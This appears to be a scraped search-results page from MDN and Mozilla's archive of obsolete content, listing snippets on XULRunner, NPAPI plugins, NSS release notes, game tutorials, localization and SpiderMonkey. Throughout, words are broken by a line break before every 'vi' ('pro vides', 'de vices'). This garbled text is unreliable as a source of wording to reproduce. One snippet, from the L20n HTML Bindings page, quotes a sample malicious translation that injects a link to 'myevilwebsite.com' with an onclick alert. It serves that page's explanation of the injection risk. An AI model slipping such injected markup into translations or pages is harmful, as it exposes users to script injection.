vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is recommended).
...And 2 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is a stable developer pre
view of the mozilla xulrunner application framework.
...it pro
vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...And 2 more matches
Dialogs in XULRunner - Archive of obsolete content
« pre
vious the last article in this series covered some simple xul for creating windows, menus, and toolbars.
...certain types of dialogs are used so frequently that the os can pro
vide a default implementation.
...xul pro
vides a dialog element to act as the container for the dialog.
...And 2 more matches
How to enable locale switching in a XULRunner application - Archive of obsolete content
this article is for developers who have localised their xul application using dtd entity files and want to pro
vide their users with a mechanism to switch the locale in the application itself.
... normally the application locale is inherited from the os en
vironment of the host system, however there are situations when you might want to give users the option to override the default setting and choose a different locale.
...here is a code snippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregser
vice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getser
vice(); var xulchromereg = chromeregser
vice.queryinterface(components.interfaces.nsixulchromeregistry); var toolkitchromereg = chromeregser
vice.queryinterface(components.interfaces.nsitoolkitchromeregistry); var selectedlocale = xulchromereg.getselectedlocale("localeswitchdemo"); var availablelocales = toolkitchromereg.g...
...And 2 more matches
XULRunner - Archive of obsolete content
it pro
vides mechanisms for installing, upgrading, and uninstalling these applications.
... xulrunner also pro
vides libxul, a solution which allows the embedding of mozilla technologies in other projects and products.
... over
view development plan what xulrunner pro
vides xulrunner faq nightly builds: unstable-trunk documentation getting started with xulrunner short tutorial on building desktop applications with xulrunner.
...And 2 more matches
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements content filtering, manipulation, and control in firefox 3 an open in
vitation from myk melez to contribute to the brainstorming of new features for firefox 3 and future firefox releases.
...to contribute
visit the wiki discussions i wanna make an addon for firefox a commonly asked question in many newsgroups.
... a student learning xpcom is ha
ving issues with the method shouldload in the interface nslcontentpolicy.
...And 2 more matches
NPAPI plugin developer guide - Archive of obsolete content
for example, the adobe flash plug-in is used to access flash content (including
videos and certain interactive applications), and the quicktime and realplayer plugins are used to play special format
videos in a web page.
...they are not available on most mobile de
vices.
... plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type over
view of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom ...
...And 2 more matches
NPP_StreamAsFile - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary pro
vides a local file name for the data from a stream.
...if an error occurs while retrie
ving the data or writing the file, fname may be null.
... description when the stream is complete, the browser calls npp_streamasfile to pro
vide the instance with a full path name for a local file for the stream.
...And 2 more matches
Writing a plugin for Mac OS X - Archive of obsolete content
notes and tips this section pro
vides some additional information that may be helpful if you're trying to get a plugin building on your own.
... symbol
visibility symbol
visibility is a common problem for people trying to get npapi plugins working.
... some symbols must be
visible as standard c symbols so the browser can find them, which means they need to be prefixed by an underscore, and must not have the c++ obfuscation that is generated by the c++ compiler.
...And 2 more matches
Plugins - Archive of obsolete content
they are not available on most mobile de
vices.
...for example, the adobe reader plugin lets the user open pdf files directly inside the browser, and the quicktime and realplayer plugins are used to play special format
videos in a web page.
... gecko plugin api reference (npapi) this reference describes the application programming interfaces for npapi plugins and pro
vides information about how to use these interfaces.
...And 2 more matches
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
« pre
viousnext » this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications.
... we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (pre
vious versions worked only in firefox).
... if you haven't already created an extension, or would like to refresh your memory, take a look at the pre
vious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...And 2 more matches
Accessing XML children - Archive of obsolete content
« pre
viousnext » accessing xml children warning: e4x is deprecated.
...and [] operators pro
vide access to the child nodes of an e4x element.
...var elem = <foo> <bar>1</bar> </foo> elem.bar = 2; will replace the pre
vious value of 1 with 2.
...And 2 more matches
Introduction - Archive of obsolete content
« pre
viousnext » basic syntax with e4x enabled, basic xml elements are valid syntax for variables.
... var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to pro
vide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces.
...use of inline functions in content although the brackets are restricted to single statements for evaluation, one might pro
vide an anonymous function to perform some extra processing inline: var a = 'foo'; var b = <bar>{function () {var c = a.touppercase(); var d = 5 * 5; return c + d;}()}</bar>; where the above produces: <bar>foo25</bar>.
...And 2 more matches
New in JavaScript - Archive of obsolete content
javascript was released as version 1.0 in march 1996 in netscape na
vigator 2.0 and internet explorer 2.0.
... javascript 1.1 version shipped in netscape na
vigator 3.0.
... javascript 1.2 version shipped in netscape na
vigator 4.0-4.05.
...And 2 more matches
Archived JavaScript Reference - Archive of obsolete content
obsolete javascript features and unmaintained docs arguments.callerthe obsolete arguments.caller property used to pro
vide the function that invoked the currently executing function.
...do not use it!array.observe()the array.observe() method was used for asynchronously obser
ving changes to arrays, similar to object.observe() for objects.
... it pro
vided a stream of changes in order of occurrence.
...And 2 more matches
LiveConnect - Archive of obsolete content
liveconnect pro
vides javascript with the ability to call methods of java classes and
vice-versa using the existing java infrastructure.
... older versions of gecko included special support for the java<->javascript bridge (such as the java and packages global objects), but as of mozilla 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) liveconnect functionality is pro
vided solely by the oracle's java plugin.
... liveconnect over
view an over
view for liveconnect.
...And 2 more matches
background-size - Archive of obsolete content
these tables should be re
vised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that pro
vides details on which browsers are encompassed by each.
...it's hard to get reliable information about its css support without ha
ving this browser (read: multiple versions of this browser) installed.
... if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-background-size and investigate support of contain and cover keywords and "omitted second value" beha
vior.
...And 2 more matches
Mozilla XForms Specials - Archive of obsolete content
introduction this article gives an over
view of where the mozilla xforms extension de
viates from the official xforms 1.0 specification .
...limitations repeat using attributes the specifications mentions "creating repeating structures
via attributes", this is partially supported.
...), except for :read-only and :read-write, because of non-specified beha
viour of these for (x)html.
...And 2 more matches
XForms Select Element - Archive of obsolete content
you can
visually group these pre-defined items by using the choices (see the spec) element to contain them.
... note, some representations of the select element do not support
visual grouping.
...this attribute, when set to 'open', allows the user to pro
vide free entry to the list.
...And 2 more matches
Describing microformats in JavaScript - Archive of obsolete content
virtual a boolean value indicating whether or not the property is
virtual.
... if it's
virtual, the
virtualgetter() method will be called to attempt to create the property if it doesn't exist.
...
virtualgetter a function that is called to get a
virtual property's value.
...And 2 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scriptable
via liveconnect in 4.x netscape browsers lost this possibility in the new world.
...the new mozilla xpcom architecture allows xpcom components be scriptable
via a different mechanism called xpconnect.
...this class should also inherit from nsiclassinfo and implement its methods to be able to request all necessary pri
vileges from the mozilla security manager (see example 2).
...And 2 more matches
Bounding volume collision detection with THREE.js - Game development
instantiating boxes to create a box3 instance, we need to pro
vide the lower and upper boundaries of the box.
... a more simple alternative that fixes the pre
vious issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well.
...we need to pro
vide the sphere's center and radius, which can be added to the boundingsphere property available in geometry.
...And 2 more matches
Building up a basic demo with PlayCanvas - Game development
visualizations like the star lord and bmw i8 also take advantage of the engine and showcase what's possible.
...those approaches are different but work equally well regarding achie
ving end goals.
... playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various de
vices (including gamepads).
...And 2 more matches
Finishing up - Game development
« pre
vious this is the 10th and final step of the gamedev canvas tutorial.
... gi
ving the player some lives implementing lives is quite straightforward.
... drawlives(); impro
ving rendering with requestanimationframe() now let's work on something that is not connected to the game mechanics, but to the way it is being rendered.
...And 2 more matches
Mouse controls - Game development
« pre
viousnext » this is the 9th step out of 10 of the gamedev canvas tutorial.
...add the following function to your code, below the pre
vious line you added: function mousemovehandler(e) { var relativex = e.clientx - canvas.offsetleft; if(relativex > 0 && relativex < canvas.width) { paddlex = relativex - paddlewidth/2; } } in this function we first work out a relativex value, which is equal to the horizontal mouse position in the
viewport (e.clientx) minus the distance between the left edge of the canvas and le...
...ft edge of the
viewport (canvas.offsetleft) — effectively this is equal to the distance between the canvas left edge and the mouse pointer.
...And 2 more matches
Scaling - Game development
« pre
viousnext » this is the 2nd step out of 16 of the gamedev phaser tutorial.
... exact_fit — scale the canvas to fill all the available space both vertically and horizontally, without preser
ving the aspect ratio.
... show_all — scales the canvas, but keeps the aspect ratio untouched, so images won't be skewed like in the pre
vious mode.
...And 2 more matches
The score - Game development
« pre
viousnext » this is the 11th step out of 16 of the gamedev phaser tutorial.
... ha
ving a score can also make the game more interesting — you can try to beat your own highscore, or your friend's.
... new variables add two new variables right after the pre
viously defined ones: // ...
...And 2 more matches
Speed index - MDN Web Docs Glossary: Definitions of Web-related terms
speed index (si) is a page load performance metric that shows you how quickly the contents of a page are
visibly populated.
... it is the average time at which
visible parts of the page are displayed.
... expressed in milliseconds, and dependent on the size of the
viewport, the lower the score, the better.
...And 2 more matches
Handling different text directions - Learn web development
pre
vious over
view: building blocks next many of the properties and values that we have encountered so far in our css learning have been tied to the physical dimensions of our screen.
...these physical dimensions map very neatly to content that is
viewed horizontally, and by default the web tends to support left-to-right languages (e.g.
...we will re
visit it later on.
...And 2 more matches
CSS building blocks - Learn web development
the aim here is to pro
vide you with a toolkit for writing competent css and help you understand all the essential theory, before mo
ving on to more specific disciplines like text styling and css layout.
...just looking at it, consuming the content.) a basic work en
vironment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files.
... note: if you are working on a computer/tablet/another de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 2 more matches
How do I use GitHub Pages? - Learn web development
this article pro
vides a basic guide to publishing content using github's gh-pages feature.
... the other thing you need to do before mo
ving on is to initialise your code directory as a git repository.
...here's what you'd type if you've put your website in a directory called test-site on your desktop: cd desktop/test-site when the command line is pointing inside your website directory, type the following command, which tells the git tool to turn the directory into a git repository: git init an aside on command line interfaces the best way to upload your code to github is
via the command line — this is a window where you type in commands to do things like create files and run programs, rather than clicking inside a user interface.
...And 2 more matches
HTML forms in legacy browsers - Learn web development
for example, the input of color type looks different in safari, chrome and firefox browser, but the color picker widget is the same in all browsers on a de
vice as it opens up the operating system's native color picker.
...you can declare appearance: none; to remove the browser styles, but that generally defeats the purpose: as you lose all styling, remo
ving the default look and feel your
visitors are used to.
...it's a development pattern that defines two requirements: a strict separation between structure and beha
viors.
...And 2 more matches
What will your website look like? - Learn web development
pre
vious over
view: getting started with the web next what will your website look like?
...graphic designers put together the
visuals of the website.
... when you find the image you want, click on the image to get an enlarged
view of it.
...And 2 more matches
Using data attributes - Learn web development
say you have an article and you want to store some extra information that doesn’t have any
visual representation.
...you could use getattribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out
via a dataset property.
...using the css selectors and javascript access here this allows you to build some nifty effects without ha
ving to write your own display routines.
...And 2 more matches
Marking up a letter - Learn web development
pre
vious over
view: introduction to html next we all learn to write a letter sooner or later; it is also a useful example to test our text formatting skills.
... mark up the five acronyms/abbre
viations in the main text of the letter to pro
vide expansions of each acronym/abbre
viation.
... the pro
vided css should be included inside an appropriate tag.
...And 2 more matches
Function return values - Learn web development
pre
vious over
view: building blocks next there's one last essential concept about functions for us to discuss — return values.
... let's return to a familiar example (from a pre
vious article in this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed two parame...
...(in these cases, our reference pages list the return value as void or undefined.) for example, in the displaymessage() function we built in the pre
vious article, no specific value is returned when the function is invoked.
...And 2 more matches
HTML performance features - Learn web development
pre
vious over
view: performance next html is by default fast and accessible.
...complications can occur when, for example, the file size of a <
video> embed is too large, or when a webpage is not optimized for mobile de
vices.
... elements & attributes impacting performance the <picture> element the <
video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion pre
vious over
view: performance next in this module the "why" of web performance what is web performance?
...And 2 more matches
Web performance resources - Learn web development
below is a quick re
view of best practices, tools, apis with links to pro
vide more information about each topic.
... lazy loading parts of your application outside the
viewport.
...optimize the rendering of your page by remo
ving blocking css.
...And 2 more matches
Server-side website programming - Learn web development
the modules pro
vide a general introduction to server-side programming.
...displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to
view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrie
ving data from a database and displaying it in a page, validating user-entered data and sa
ving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
...And 2 more matches
Rendering a list of Vue components - Learn web development
pre
vious over
view: client-side javascript frameworks next at this point we've got a fully working component; we're now ready to add multiple todoitem components to our app.
...we could use lodash.uniqueid(), however, like we did in the pre
vious article.
... pre
vious over
view: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interacti
vity: events and state react interacti
vity: editing, filtering, conditional rendering accessibility in react react resources ...
...And 2 more matches
Add-ons
you’ll find: over
view of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer communities extensions for firefox for android in 2020, mozilla will release a new...
...this new, high-performance browser for android has been rebuilt from the ground up using gecko
view, mozilla’s mobile browser engine.
... we are currently building support for the webextensions api on gecko
view.
...And 2 more matches
Testopia
though it is designed with software testing in mind, it can be used to track testing on
virtually anything in the engineering process.
...this is not an tri
vial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything.
... the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind ha
ving a work-in-progress extension on your machine, you can decide to pull the code from the git repository.
...And 2 more matches
Bugzilla
bugzilla.mozilla.org (often abbre
viated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
...and how using proper manners and ci
vility will help ensure your problem gets solved sooner rather than later.
...
view all...
...And 2 more matches
Creating a Login Manager storage module
login-manager/storage/sample;1", classid: components.id("{364a118c-747a-4f6d-ac63-2d2998e5a5c1}"), queryinterface: xpcomutils.generateqi([ci.nsiloginmanagerstorage]), // this registers the category for overriding the built-in nsiloginmanagerstorage _xpcom_categories: [ { category: "login-manager-storage", entry: "nsiloginmanagerstorage" } ], // console logging ser
vice, used for debugging.
... __logser
vice : null, get _logser
vice() { if (!this.__logser
vice) this.__logser
vice = cc["@mozilla.org/consoleser
vice;1"].
... getser
vice(ci.nsiconsoleser
vice); return this.__logser
vice; }, log: function (message) { dump("sampleloginmanager: " + message + "\n"); this._logser
vice.logstringmessage("sampleloginmanager: " + message); }, // logs function name and arguments for debugging stub: function(arguments) { var args = []; for (let i = 0; i < arguments.length; i++) args.push(arguments[i]) this.log("called " + arguments.callee.name + "(" + args.join(",") + ")"); }, init: function slms_init() { this.stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login)...
...And 2 more matches
Debugging OpenGL
this article pro
vides suggestions for how to improve your efficiency while debugging opengl code in gecko.
... opengl debug mode when running a debug build, you can enable the opengl debug mode by defining the en
vironment variable moz_gl_debug.
... if you start up firefox with this variable defined, the following beha
vior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this.
...And 2 more matches
Simple Thunderbird build
windows build prerequisites gnu/linux build prerequisites macos build prerequisites mapi headers on windows: check that the mapi header files from https://www.microsoft.com/en-us/download/details.aspx?id=12905 are installed because the mapi header files (except mapi.h) are not bundled with
visual studio 2017 (windows sdk 10).
...on linux, this can manifest as problems setting up the
virtualenv for running tests (failure to install pip or
virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
... ha
ving the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows.
...And 2 more matches
Working with Mozilla source code
the articles below will help you get your hands on the mozilla source code, learn to na
vigate the code, and how to get the changes you propose checked into the tree.
... getting a pre-configured mozilla build system
virtual machine this is the easiest way to get started: use a
virtualbox
virtual machine which is already configured with a complete build en
vironment for you to use.
...
viewing and searching mozilla source code online learn how to use searchfox, mozilla's online search and browsing tool for accessing the source code.
...And 2 more matches
Cross Process Object Wrappers
one of these shims pro
vides the following beha
vior: whenever chrome code tries to access content directly (for example, through window.content or browser.contentdocument), it is given back a cpow that wraps the content object.
... message ordering cpows can
violate assumptions you might make about message ordering.
... consider this code: mm.addmessagelistener("gotloadevent", function (msg) { mm.sendasyncmessage("changedocumenturi", {newuri: "hello.com"}); let uri = msg.objects.document.documenturi; dump("received load event: " + uri + "\n"); }); this sends a message asking the frame script to change the current document uri, then accesses the current document uri
via a cpow.
...And 2 more matches
Limitations of chrome scripts
for each pattern we've noted: whether a shim exists and what kind of beha
vior it pro
vides how to update your add-on so you don't need the shim gbrowser.contentwindow, window.content...
... without the shim all apis in the chrome process that pro
vide direct access to content objects will no longer work.
... limitations of cpows cross process object wrappers (cpows) are a migration aid gi
ving chrome code synchronous access to content objects.
...And 2 more matches
Frame script loading and lifetime
so once you load them, they will stay loaded until the tab is closed, even if you reload the document or na
vigate.
...for example, from bootstrap.js: ser
vices.mm.addmessagelistener( 'my-addon-id', { receivemessage: function() { console.log('incoming message from frame script:', amsg.data); } }, true // must set this argument to true, otherwise sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the ...
...if you did not set the third argument to true in bootstrap.js on ser
vices.mm.addmessagelistener, sending this message during, and after, the unloading event will do nothing.
...And 2 more matches
Firefox
firefox is mozilla's popular web browser, available for multiple platforms including windows, macos, and linux on the desktop and all android and ios mobile de
vices.
... developer guide our developer guide pro
vides details on how to get and compile the firefox source code, how to find your way around, and how to contribute to the project.
...the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to
visit or a site to manage in some way.
...And 2 more matches
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to pro
vide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
...but some things, such as apis that need to manipulate files or de
vice settings (e.g.
... geolocation) cannot run in the content process because it has restricted pri
vileges.
...And 2 more matches
Integrated Authentication
this document pro
vides an over
view of mozilla's support for integrated authentication.
...instead, it leverages system libraries that pro
vide spnego; sspi on microsoft windows, and gss-api on linux, mac osx, and other unix-like systems.
... mozilla also supports raw ntlm authentication using an internal implementation (based on the documentation pro
vided by eric glass) that supports ntlmv1/lmv1 and ntlm2 session key modes.
...And 2 more matches
Assert.jsm
the assert.jsm javascript code module implements the commonjs unit testing specification version 1.1, which pro
vides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... method over
view undefined ok(value, message); undefined equal(actual, expected, message); undefined notequal(actual, expected, message); undefined deepequal(actual, expected, message); undefined notdeepequal(actual, expected, message); undefined strictequal(actual, expected, message); undefined notstrictequal(actual, expected, message); undefined throws(block, expected, message); promise rejects(promise, expected, message); undefined greater(lhs, rhs, message); undefined gr...
... let assert = new assert(reporterfunc); the new assert instance, assert, uses reporterfunc to report assertion results or throws an assertionerror when an assertion fails, as default beha
vior.
...And 2 more matches
DeferredTask.jsm
method over
view bool ispending();obsolete since gecko 28 void start();obsolete since gecko 28 void flush();obsolete since gecko 28 void cancel();obsolete since gecko 28 void arm(); void disarm(); promise finalize(); attributes isarmed boolean indicates whether the task is currently requested to start again later, regardless ...
... by design, this method doesn't pro
vide a way for the caller to detect when the next execution terminates, or collect a result.
...the task cannot be re-entered while running, but can be executed again after a pre
vious run finished.
...And 2 more matches
Mozilla Content Localized in Your Language
your language's style guide abbre
viations how are abbre
viations expressed in your language?
... reference material can be find here calendar calendar
view: which date is considered the first day of the week, sunday or monday?
... if translated, is there an equa
vilent acronym and widely accepted in the language?
...And 2 more matches
Localizing extension descriptions
this article pro
vides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on.
...the following example demonstrates this (most normal manifest properties have been removed for bre
vity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sideba...
...r vorschaubilder der inhalte aller offenen tabs an.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>es-es</em:locale> <em:name>tab sidebar</em:name> <em:description>muestra una
vista pre
via de sus pestañas en su panel lateral.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>nl-nl</em:locale> <em:name>tab sidebar</em:name> <em:description>laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description> </description> </em:localized> <em:name>tab sidebar</em:name> <em:description>displays pre
views of your tabs in your sidebar.</em:description> </description> </rdf> all of the metadata mentione...
...And 2 more matches
Patching a Localization
if you do not have these tools, take a few steps back, grab a cookie (because, let's face it, you deserve it for all of your work), and
visit the l10n prerequisites page.
...for example, create a directory like localization-workdir (in this example it is located in your home directory): mkdir ~/localization-workdir na
vigate to the directory you just created.
... na
vigate to your working localization directory.
...And 2 more matches
Intel Power Gadget
intel power gadget pro
vides real-time graphs of various power-related measures and estimates, all taken from the intel rapl msrs.
... this article pro
vides a basic introduction.
... note: the power profiling over
view is worth reading at this point if you haven't already.
...And 2 more matches
Productization guide
the web ser
vices that make up the productization of mozilla software are often specific to a local market.
... for example, a search pro
vider can deliver a very good quality of search results — but only in a specific country or language, and we have to take this into account when considering default search engines for a locale.
... hence there is a need to customize the set of default web ser
vices on a per-locale basis in order to ensure a good user experience across all locales.
...And 2 more matches
L20n HTML Bindings
consider the following source html: <p data-l10n-id="save"> <input type="submit"> <a href="/main" class="btn-cancel"></a> </p> assume the following malicious translation: <save """ <input value="save" type="text"> or <a href="http://mye
vilwebsite.com" onclick="alert('pwnd!')" title="back to the homepage">cancel</a>.
...for instance, a string could use the information about the user's gender to pro
vide two variants of the translation, like in the example below.
... <in
vited[$user.gender] { feminine: "{{ $user.name }} has in
vited you to her circles.", masculine: "{{ $user.name }} has in
vited you to his circles.", *unknown: "{{ $user.name }} has in
vited you to their circles." }> based on the context data defined above, this will produce: jane has in
vited you to her circles.
...And 2 more matches
Logging
nspr pro
vides a set of logging functions that conditionally write printf() style strings to the console or to a log file.
... nspr also pro
vides "assert"-style macros and functions to aid in application debugging.
... execution-time control of nspr's logging uses two en
vironment variables.
...And 2 more matches
NSPR LOG MODULES
this en
vironment variable specifies which log modules have logging enabled.
... level is a numeric value between 0 and 5, with the values ha
ving the following meanings: 0 = pr_log_none: nothing should be logged 1 = pr_log_always: important; intended to always be logged 2 = pr_log_error: errors 3 = pr_log_warning: warnings 4 = pr_log_debug: debug messages, notices 5: everything!
... special log module names are pro
vided for controlling nspr's log ser
vice at execution time.
...And 2 more matches
Named Shared Memory
the nspr shared memory api pro
vides a cross-platform named shared-memory interface that is modeled on similar constructs in the unix and windows operating systems.
... all names pro
vided to pr_opensharedmemory should be valid filename syntax or name syntax for shared memory for the target platform.
...these limits may be adjusted on some platforms either
via boot-time options or by setting the size of the system paging space to accommodate more and/or larger shared memory segment(s).
...And 2 more matches
Threads
nspr pro
vides an execution en
vironment that promotes the use of lightweight threads.
...joining a thread pro
vides definitive proof that the target thread has terminated and has finished with both the resources to which the thread has access and the resources of the thread itself.
... for an over
view of the nspr threading model and sample code that illustrates its use, see introduction to nspr.
...And 2 more matches
NSS 3.12.5 release_notes
nss 3.12.5 release notes 2009-12-02 newsgroup: mozilla.dev.tech.crypto introduction network security ser
vices (nss) 3.12.5 is a patch release for nss 3.12.
... if an application depends on renegotiation feature, it can be enabled by setting the en
vironment variable nss_ssl_enable_renegotiation to 1.
... by setting this en
vironmental variable, the fix pro
vided by these patches will have no effect and the application may become vulnerable to the issue.
...And 2 more matches
NSS 3.12.6 release notes
nss 3.12.6 release notes 2010-03-03 newsgroup: mozilla.dev.tech.crypto introduction network security ser
vices (nss) 3.12.6 is a patch release for nss 3.12.
... the beha
vior of nss for renegotiation can be changed through api function calls, or with the following en
vironment variables: nss_ssl_enable_renegotiation values: [0|n|n]: ssl_renegotiate_never never allow renegotiation - that was the default for 3.12.5 release.
... in ocsp.h cert_cacheocspresponsefromsidechannel: this function is intended for use when ocsp responses are pro
vided
via a side-channel, i.e.
...And 2 more matches
NSS 3.14.2 release notes
network security ser
vices (nss) 3.14.2 is a patch release for nss 3.14.
...the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please
visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems.
...on red hat enterprise linux 5.x systems, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path en
vironment variable.
...And 2 more matches
NSS 3.15 release notes
introduction the nss team has released network security ser
vices (nss) 3.15, which is a minor release.
...tls client applications may enable this
via a call to ssl_optionsetdefault(ssl_enable_ocsp_stapling, pr_true); added function secitem_reallocitemv2.
... support for single-operation (eg: not multi-part) symmetric key encryption and decryption,
via pk11_encrypt and pk11_decrypt.
...And 2 more matches
NSS 3.28 release notes
introduction the network security ser
vices (nss) team has released nss 3.28, which is a minor release.
... this was pre
viously possible by replacing certain nss source files.
...note that this detection has a one-off performance cost, which can be avoided by using the ssl_namedgroupconfig function, to limit supported groups to those that nss pro
vides.
...And 2 more matches
FC_GetTokenInfo
manufacturerid: id of the de
vice manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated.
... model: model of the de
vice, "nss 3", padded with spaces to 16 characters and not null-terminated.
... serialnumber: the de
vice's serial number as a string, "0000000000000000", 16 characters and not null-terminated.
...And 2 more matches
OLD SSL Reference
upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 over
view of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... initialization initializing caches configuration communication functions used by callbacks cleanup chapter 2 getting started with ssl this chapter describes how to set up your en
vironment, including certificate and key databases, to run the nss sample code.
... the sample code and makefiles are available
via lxr in the sslsamples directory.
...And 2 more matches
NSS tools : crlutil
this option is pro
vided as a special case.
... implemented extensions the extensions defined for crl pro
vide methods for associating additional attributes with crls of theirs entries.
... for more information see rfc #3280 * add the authority key identifier extension: the authority key identifier extension pro
vides a means of identifying the public key corresponding to the private key used to sign a crl.
...And 2 more matches
Rhino Examples
examples have been pro
vided that show how to control the javascript engine and how to implement scriptable host objects.
...the liveconnect.js script shows a sample usage of liveconnect (java-to-javascript connecti
vity).
...primitivewrapfactory primitivewrapfactory.java is an example of a wrapfactory that can be used to control the wrapping beha
vior of the rhino engine on calls to java methods.
...And 2 more matches
SpiderMonkey Build Documentation
(if you want to use spidermonkey as a library in your c++ application, or work on impro
ving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src # this name should end with "_opt.obj" to make the version control system ignore it.
...refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be pro
vided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/commandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the directory build-release/dist/bin.
... specifying compilers and compiler flags if you want to use a compiler other than the one the configure script chooses for you by default, you can set the cxx variable in the en
vironment when you run configure.
...And 2 more matches
SpiderMonkey compartments
compartments are used to create multiple javascript memory heaps, which avoids ha
ving one heap for all javascript objects.
... in pre
vious versions of spidermonkey, the garbage collector would walk the entire heap of all javascript objects when garbage collection was needed.
...it means that a "google.com" object can never accidentally leak into an untrusted website such as "e
vil.com".
...And 2 more matches
Introduction to the JavaScript shell
